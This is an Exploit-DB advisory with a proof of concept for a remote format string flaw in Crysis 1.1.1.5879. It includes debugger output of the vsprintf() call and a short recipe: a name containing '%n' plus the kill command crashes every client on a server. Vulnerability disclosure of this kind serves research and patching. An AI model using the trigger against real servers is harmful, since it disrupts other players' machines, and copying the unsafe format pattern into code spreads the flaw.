Crysis 1.1.1.5879 - Remote Format String Denial of Service (PoC)

EDB-ID:

5201

Author:

Long Poke

Type:

dos

Platform:

Windows

Published:

2008-02-28

The Crysis engine passes along internal debug strings through the game. One of them is passed to vsprintf() in the crt lib:

30503263   8D8C24 10100000  LEA ECX,DWORD PTR SS:[ESP+1010]
3050326A   51               PUSH ECX
3050326B   50               PUSH EAX
3050326C   8D5424 08        LEA EDX,DWORD PTR SS:[ESP+8]
30503270   52               PUSH EDX
30503271   FF15 F8A17530    CALL DWORD PTR DS:[<&MSVCR80.vsprintf>]  ; MSVCR80.vsprintf

0032CAD8   30503277  w2P0  /CALL to vsprintf from cryactio.30503271
0032CADC   0032CAE8  èÊ2.  |buffer = 0032CAE8
0032CAE0   0032DAF8  øÚ2.  |format = "Pathfinding in animation graph failed (LONGPOKE%SAAAAAAAA) - no path from 'Parachute_Float_NW' to 'X_Combat_IdleAimingNull_NW'"  ; Your name is passed in as part of the format. This is a nono...
0032CAE4   0032DAF8  øÚ2.  \arglist = 0032DAF8

POC:
Type name %n\x00\x00\x00\x00 in the console.
Type kill.
Upon your death, everyone in the server will instantly execute the format string vulnerability. If you are in third person in a vehicle, it will be exploited on your game as well.

-LONGPOKE<ATOM>

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